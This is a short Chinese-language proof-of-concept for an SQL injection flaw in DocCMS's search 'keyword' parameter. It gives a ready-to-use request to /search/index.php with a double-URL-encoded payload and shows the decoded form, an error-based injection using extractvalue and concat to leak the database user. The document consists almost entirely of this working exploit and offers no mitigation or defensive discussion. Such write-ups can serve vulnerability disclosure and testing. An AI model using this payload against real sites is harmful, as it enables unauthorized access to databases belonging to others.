DocCMS keyword SQL注入漏洞

POC

/search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33

其中payload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#